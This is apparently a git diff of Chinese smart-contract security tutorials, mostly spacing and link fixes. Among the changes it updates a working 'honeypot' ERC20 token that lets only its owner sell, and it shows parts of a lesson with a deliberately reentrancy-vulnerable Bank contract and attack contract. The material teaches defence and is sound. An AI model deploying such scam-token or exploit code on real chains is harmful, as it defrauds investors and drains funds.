[github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍最常见的一种智能合约攻击-重入攻击,它曾导致以太坊分叉为 ETH 和 ETC(以太经典),并介绍如何避免它。 ## 重入攻击 -重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。 +重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如 fallback 函数)循环调用合约,将合约中资产转走或铸造大量代币。 一些著名的重入攻击事件: -- 2016年,The DAO合约被重入攻击,黑客盗走了合约中的 3,600,000 枚 `ETH`,并导致以太坊分叉为 `ETH` 链和 `ETC`(以太经典)链。 -- 2019年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 `sETH`。 -- 2020年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。 -- 2021年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。 -- 2022年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。 +- 2016 年,The DAO 合约被重入攻击,黑客盗走了合约中的 3,600,000 枚 `ETH`,并导致以太坊分叉为 `ETH` 链和 `ETC`(以太经典)链。 +- 2019 年,合成资产平台 Synthetix 遭受重入攻击,被盗 3,700,000 枚 `sETH`。 +- 2020 年,借贷平台 Lendf.me 遭受重入攻击,被盗 $25,000,000。 +- 2021 年,借贷平台 CREAM FINANCE 遭受重入攻击,被盗 $18,800,000。 +- 2022 年,算法稳定币项目 Fei 遭受重入攻击,被盗 $80,000,000。 -距离 The DAO 被重入攻击已经6年了,但每年还是会有几次因重入漏洞而损失千万美元的项目,因此理解这个漏洞非常重要。 +距离 The DAO 被重入攻击已经 6 年了,但每年还是会有几次因重入漏洞而损失千万美元的项目,因此理解这个漏洞非常重要。 ## `0xAA` 抢银行的故事 @@ -41,11 +41,12 @@ tags: 以太坊银行的柜员都是机器人(Robot),由智能合约控制。当正常用户(User)来银行取钱时,它的服务流程: -1. 查询用户的 `ETH` 余额,如果大于0,进行下一步。 +1. 查询用户的 `ETH` 余额,如果大于 0,进行下一步。 2. 将用户的 `ETH` 余额从银行转给用户,并询问用户是否收到。 3. 将用户名下的余额更新为`0`。 一天黑客 `0xAA` 来到了银行,这是他和机器人柜员的对话: + - 0xAA : 我要取钱,`1 ETH`。 - Robot: 正在查询您的余额:`1 ETH`。正在转帐`1 ETH`到您的账户。您收到钱了吗? - 0xAA : 等等,我要取钱,`1 ETH`。 @@ -64,6 +65,7 @@ tags: ### 银行合约 银行合约非常简单,包含`1`个状态变量`balanceOf`记录所有用户的以太坊余额;包含`3`个函数: + - `deposit()`:存款函数,将`ETH`存入银行合约,并更新用户的余额。 - `withdraw()`:提款函数,将调用者的余额转给它。具体步骤和上面故事中一样:查询余额,转账,更新余额。**注意:这个函数有重入漏洞!** - `getBalance()`:获取银行合约里的`ETH`余额。 @@ -97,7 +99,7 @@ contract Bank { ### 攻击合约 -重入攻击的一个攻击点就是合约转账`ETH`的地方:转账`ETH`的目标地址如果是合约,会触发对方合约的`fallback`(回退)函数,从而造成循环调用的可能。如果你不了解回退函数,可以阅读[WTF Solidity极简教程第19讲:接收ETH](https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback/readme.md)。`Bank`合约在`withdraw()`函数中存在`ETH`转账: +重入攻击的一个攻击点就是合约转账`ETH`的地方:转账`ETH`的目标地址如果是合约,会触发对方合约的`fallback`(回退)函数,从而造成循环调用的可能。如果你不了解回退函数,可以阅读[WTF Solidity 极简教程第 19 讲:接收 ETH](https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback/readme.md)。`Bank`合约在`withdraw()`函数中存在`ETH`转账: ``` (bool success, ) = msg.sender.call{value: balance}(""); @@ -126,7 +128,7 @@ contract Attack { constructor(Bank _bank) { bank = _bank; } - + // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数 receive() external payable { if (bank.getBalance() >= 1 ether) { @@ -164,7 +166,7 @@ contract Attack { 检查-影响-交互模式强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。如果我们将`Bank`合约`withdraw()`函数中的更新余额提前到转账`ETH`之前,就可以修复漏洞: -```solidity +```solidity function withdraw() external { uint256 balance = balanceOf[msg.sender]; require(balance > 0, "Insufficient balance"); @@ -178,7 +180,7 @@ function withdraw() external { ### 重入锁 -重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为`0`的状态变量`_status`。被`nonReentrant`重入锁修饰的函数,在第一次调用时会检查`_status`是否为`0`,紧接着将`_status`的值改为`1`,调用结束后才会再改为`0`。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。如果你不了解修饰器,可以阅读[WTF Solidity极简教程第11讲:修饰器](https://github.com/AmazingAng/WTFSolidity/blob/main/13_Modifier/readme.md)。 +重入锁是一种防止重入函数的修饰器(modifier),它包含一个默认为`0`的状态变量`_status`。被`nonReentrant`重入锁修饰的函数,在第一次调用时会检查`_status`是否为`0`,紧接着将`_status`的值改为`1`,调用结束后才会再改为`0`。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击失败。如果你不了解修饰器,可以阅读[WTF Solidity 极简教程第 11 讲:修饰器](https://github.com/AmazingAng/WTFSolidity/blob/main/11_Modifier/readme.md)。 ```solidity uint256 private _status; // 重入锁 @@ -210,8 +212,8 @@ function withdraw() external nonReentrant{ } ``` - 此外,OpenZeppelin也提倡遵循PullPayment(拉取支付)模式以避免潜在的重入攻击。其原理是通过引入第三方(escrow),将原先的“主动转账”分解为“转账者发起转账”加上“接受者主动拉取”。当想要发起一笔转账时,会通过`_asyncTransfer(address dest, uint256 amount)`将待转账金额存储到第三方合约中,从而避免因重入导致的自身资产损失。而当接受者想要接受转账时,需要主动调用`withdrawPayments(address payable payee)`进行资产的主动获取。 +此外,OpenZeppelin 也提倡遵循 PullPayment(拉取支付)模式以避免潜在的重入攻击。其原理是通过引入第三方(escrow),将原先的“主动转账”分解为“转账者发起转账”加上“接受者主动拉取”。当想要发起一笔转账时,会通过`_asyncTransfer(address dest, uint256 amount)`将待转账金额存储到第三方合约中,从而避免因重入导致的自身资产损失。而当接受者想要接受转账时,需要主动调用`withdrawPayments(address payable payee)`进行资产的主动获取。 ## 总结 -这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个`0xAA`抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行`ETH`转账时进行重入攻击。实际业务中,`ERC721`和`ERC1155`的`safeTransfer()`和`safeTransferFrom()`安全转账函数,还有`ERC777`的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的`external`函数,虽然可能会消耗更多的`gas`,但是可以预防更大的损失。 \ No newline at end of file +这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个`0xAA`抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行`ETH`转账时进行重入攻击。实际业务中,`ERC721`和`ERC1155`的`safeTransfer()`和`safeTransferFrom()`安全转账函数,还有`ERC777`的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的`external`函数,虽然可能会消耗更多的`gas`,但是可以预防更大的损失。 diff --git a/S03_Centralization/readme.md b/S03_Centralization/readme.md index 959c61b74..49abce5e2 100644 --- a/S03_Centralization/readme.md +++ b/S03_Centralization/readme.md @@ -8,35 +8,35 @@ tags: # WTF Solidity 合约安全: S03. 中心化风险 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 solidity,巩固一下细节,也写一个“WTF Solidity 极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy\_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍智能合约中的中心化和伪去中心化所带来的风险。`Ronin`桥和`Harmony`桥因该漏洞被黑客攻击,分别被盗取了 6.24 亿美元和 1 亿美元。 ## 中心化风险 -我们经常以Web3的去中心化为骄傲,认为在Web3.0世界里,所有权和控制权都是去中心化。但实际上,中心化是Web3项目最常见的风险之一。知名区块链审计公司Certik在[2021年DeFi安全报告](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf)中指出: +我们经常以 Web3 的去中心化为骄傲,认为在 Web3.0 世界里,所有权和控制权都是去中心化。但实际上,中心化是 Web3 项目最常见的风险之一。知名区块链审计公司 Certik 在[2021 年 DeFi 安全报告](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf)中指出: -> 中心化风险是 DeFi 中最常见的漏洞,2021年中有 44 次 DeFi 黑客攻击与它相关,造成用户资金损失超过 13 亿美元。这强调了权力下放的重要性,许多项目仍需努力实现这一目标。 +> 中心化风险是 DeFi 中最常见的漏洞,2021 年中有 44 次 DeFi 黑客攻击与它相关,造成用户资金损失超过 13 亿美元。这强调了权力下放的重要性,许多项目仍需努力实现这一目标。 中心化风险指智能合约的所有权是中心化的,例如合约的`owner`由一个地址控制,它可以随意修改合约参数,甚至提取用户资金。中心化的项目存在单点风险,可以被恶意开发者(内鬼)或黑客利用,只需要获取具有控制权限地址的私钥之后,就可以通过`rug-pull`,无限铸币,或其他类型方法盗取资金。 -链游项目`Vulcan Forged`在2021年12月因私钥泄露被盗 1.4 亿美元,DeFi项目`EasyFi`在2021年4月因私钥泄露被盗 5900 万美元,DeFi项目`bZx`在钓鱼攻击中私钥泄露被盗 5500 万美元。 +链游项目`Vulcan Forged`在 2021 年 12 月因私钥泄露被盗 1.4 亿美元,DeFi 项目`EasyFi`在 2021 年 4 月因私钥泄露被盗 5900 万美元,DeFi 项目`bZx`在钓鱼攻击中私钥泄露被盗 5500 万美元。 ## 伪去中心化风险 伪去中心化的项目通常对外鼓吹自己是去中心化的,但实际上和中心化项目一样存在单点风险。比如使用多签钱包来管理智能合约,但几个多签人是一致行动人,背后由一个人控制。这类项目由于包装的很去中心化,容易得到投资者信任,所以当黑客事件发生时,被盗金额也往往更大。 -近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元,是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护,必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样,非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制,而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此,在攻击者获取了 Sky Mavis 的私钥后(具体方法未披露),就可以控制 5 个验证节点,授权盗走了 173,600 ETH 和 2550 万USDC。此外,在2023年8月1日,PEPE多重签名钱包将阈值从`5/8`更改为仅`2/8`,并从多签地址转出大量PEPE,这也是伪去中心化的体现。 +近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在 2022 年 3 月被盗 6.24 亿美元,是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护,必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样,非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制,而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此,在攻击者获取了 Sky Mavis 的私钥后(具体方法未披露),就可以控制 5 个验证节点,授权盗走了 173,600 ETH 和 2550 万 USDC。此外,在 2023 年 8 月 1 日,PEPE 多重签名钱包将阈值从`5/8`更改为仅`2/8`,并从多签地址转出大量 PEPE,这也是伪去中心化的体现。 -`Harmony`公链的跨链桥在2022年6月被盗 1 亿美元。`Harmony`桥由5 个多签人控制,很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后,将用户质押的资产盗空。 +`Harmony`公链的跨链桥在 2022 年 6 月被盗 1 亿美元。`Harmony`桥由 5 个多签人控制,很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后,将用户质押的资产盗空。 ![](./img/S03-1.png) @@ -65,12 +65,12 @@ contract Centralization is ERC20, Ownable { ## 如何减少中心化/伪去中心化风险? -1. 使用多签钱包管理国库和控制合约参数。为了兼顾效率和去中心化,可以选择 4/7 或 6/9 多签。如果你不了解多签钱包,可以阅读[WTF Solidity第50讲:多签钱包](https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet/readme.md)。 +1. 使用多签钱包管理国库和控制合约参数。为了兼顾效率和去中心化,可以选择 4/7 或 6/9 多签。如果你不了解多签钱包,可以阅读[WTF Solidity 第 50 讲:多签钱包](https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet/readme.md)。 2. 多签的持有人要多样化,分散在创始团队、投资人、社区领袖之间,并且不要相互授权签名。 -3. 使用时间锁控制合约,在黑客或项目内鬼修改合约参数/盗取资产时,项目方和社区有一些时间来应对,将损失最小化。如果你不了解时间锁合约,可以阅读[WTF Solidity第45讲:时间锁](https://github.com/AmazingAng/WTFSolidity/blob/main/45_TokenLocker/readme.md)。 +3. 使用时间锁控制合约,在黑客或项目内鬼修改合约参数/盗取资产时,项目方和社区有一些时间来应对,将损失最小化。如果你不了解时间锁合约,可以阅读[WTF Solidity 第 45 讲:时间锁](https://github.com/AmazingAng/WTFSolidity/blob/main/45_Timelock/readme.md)。 ## 总结 -中心化/伪去中心化是区块链项目最大的风险,近两年造成用户资金损失超过 20 亿美元。中心化风险通过分析合约代码就可以发现,而伪去中心化风险藏的更深,需要对项目进行细致的尽职调查才能发现。 \ No newline at end of file +中心化/伪去中心化是区块链项目最大的风险,近两年造成用户资金损失超过 20 亿美元。中心化风险通过分析合约代码就可以发现,而伪去中心化风险藏的更深,需要对项目进行细致的尽职调查才能发现。 diff --git a/S10_Honeypot/Honeypot.sol b/S10_Honeypot/Honeypot.sol index a9210c07b..703d08e94 100644 --- a/S10_Honeypot/Honeypot.sol +++ b/S10_Honeypot/Honeypot.sol @@ -3,12 +3,12 @@ pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; - + // 极简貔貅ERC20代币,只能买,不能卖 contract HoneyPot is ERC20, Ownable { address public pair; // 构造函数:初始化代币名称和代号 - constructor() ERC20("HoneyPot", "Pi Xiu") { + constructor() ERC20("HoneyPot", "Pi Xiu") Ownable(msg.sender){ address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory address tokenA = address(this); // 貔貅代币地址 address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH @@ -30,19 +30,18 @@ contract HoneyPot is ERC20, Ownable { _mint(to, amount); } - /** - * @dev See {ERC20-_beforeTokenTransfer}. + /** + * @dev See {ERC20-_update}. * 貔貅函数:只有合约拥有者可以卖出 - */ - function _beforeTokenTransfer( - address from, - address to, - uint256 amount - ) internal virtual override { - super._beforeTokenTransfer(from, to, amount); - // 当转账的目标地址为 LP 合约时,会revert - if(to == pair){ - require(from == owner(), "Can not Transfer"); - } - } + */ + function _update( + address from, + address to, + uint256 amount + ) internal virtual override { + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + super._update(from, to, amount); + } } \ No newline at end of file diff --git a/S10_Honeypot/readme.md b/S10_Honeypot/readme.md index e7bcbd486..25b88afd4 100644 --- a/S10_Honeypot/readme.md +++ b/S10_Honeypot/readme.md @@ -41,9 +41,9 @@ tags: `Pixiu` 有一个状态变量`pair`,用于记录`uniswap`中 `Pixiu-ETH LP`的币对地址。它主要有三个函数: -1. 构造函数:初始化代币的名称和代号,并根据 `uniswap` 和 `create2` 的原理计算`LP`合约地址,具体内容可以参考 [WTF Solidity 第25讲: Create2](https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2/readme.md)。这个地址会在 `_beforeTokenTransfer()` 函数中用到。 +1. 构造函数:初始化代币的名称和代号,并根据 `uniswap` 和 `create2` 的原理计算`LP`合约地址,具体内容可以参考 [WTF Solidity 第25讲: Create2](https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2/readme.md)。这个地址会在 `_update()` 函数中用到。 2. `mint()`:铸造函数,仅 `owner` 地址可以调用,用于铸造 `Pixiu` 代币。 -3. `_beforeTokenTransfer()`:`ERC20`代币在被转账前会调用的函数。在其中,我们限制了当转账的目标地址 `to` 为 `LP` 的时候,也就是韭菜卖出的时候,交易会 `revert`;只有调用者为`owner`的时候能够成功。这也是貔貅合约的核心。 +3. `_update()`:`ERC20`代币在被转账前会调用的函数。在其中,我们限制了当转账的目标地址 `to` 为 `LP` 的时候,也就是韭菜卖出的时候,交易会 `revert`;只有调用者为`owner`的时候能够成功。这也是貔貅合约的核心。 ```solidity // 极简貔貅ERC20代币,只能买,不能卖 @@ -74,20 +74,19 @@ contract HoneyPot is ERC20, Ownable { } /** - * @dev See {ERC20-_beforeTokenTransfer}. + * @dev See {ERC20-_update}. * 貔貅函数:只有合约拥有者可以卖出 - */ - function _beforeTokenTransfer( - address from, - address to, - uint256 amount - ) internal virtual override { - super._beforeTokenTransfer(from, to, amount); - // 当转账的目标地址为 LP 时,会revert - if(to == pair){ - require(from == owner(), "Can not Transfer"); - } - } + */ + function _update( + address from, + address to, + uint256 amount + ) internal virtual override { + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + super._update(from, to, amount); + } } ``` @@ -137,4 +136,4 @@ contract HoneyPot is ERC20, Ownable { ## 总结 -这一讲,我们介绍了貔貅合约和预防貔貅盘的方法。貔貅盘是每个韭菜必经之路,大家也对它恨之入骨。另外,最近也出现貔貅 `NFT`,恶意项目方通过修改 `ERC721` 的转账或授权函数,使得普通投资者不能出售它们。了解貔貅合约的原理和预防方法,可以显著减少你买到貔貅盘的概率,让你的资金更安全,大家要不断学习。 \ No newline at end of file +这一讲,我们介绍了貔貅合约和预防貔貅盘的方法。貔貅盘是每个韭菜必经之路,大家也对它恨之入骨。另外,最近也出现貔貅 `NFT`,恶意项目方通过修改 `ERC721` 的转账或授权函数,使得普通投资者不能出售它们。了解貔貅合约的原理和预防方法,可以显著减少你买到貔貅盘的概率,让你的资金更安全,大家要不断学习。 diff --git a/S16_NFTReentrancy/readme.md b/S16_NFTReentrancy/readme.md index c2a7cd16d..611c860d6 100644 --- a/S16_NFTReentrancy/readme.md +++ b/S16_NFTReentrancy/readme.md @@ -126,7 +126,7 @@ contract Attack is IERC721Receiver{ } ``` -2. 重入锁:它是一种防止重入函数的修饰器(modifier)。建议直接使用OpenZeppelin提供的[ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) +2. 重入锁:它是一种防止重入函数的修饰器(modifier)。建议直接使用OpenZeppelin提供的[ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol) ## 总结 diff --git a/Topics/Tools/TOOL03_Ganache/readme.md b/Topics/Tools/TOOL03_Ganache/readme.md index 4edfbd3fb..b310cf0eb 100644 --- a/Topics/Tools/TOOL03_Ganache/readme.md +++ b/Topics/Tools/TOOL03_Ganache/readme.md @@ -98,7 +98,7 @@ ganache -f https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY --wallet.accounts=A Ganache 允许我们通过 RPC 调用(方法 `evm_increaseTime` 和 `evm_setTime` )来推进区块链上的时间。 -大多数情况下我们无法等到这个时间,我们可以使用 `evm_increaseTime` 将区块链当前时间戳**增加指定的时间量**(以秒为单位)(以十六进制格式传入)。这将返回以毫秒为单位调整的总时间。 +大多数情况下我们无法等到这个时间,我们可以使用 `evm_increaseTime` 将区块链当前时间戳**增加指定的时间量**(以秒为单位)(以十六进制格式传入)。这将返回以秒为单位调整的总时间。 ``` curl -H 'Content-Type: application/json' --data' {"jsonrpc": "2.0", "id": 1, "method": "evm_increaseTime", "params": ["0x15180"] }' http://localhost:8545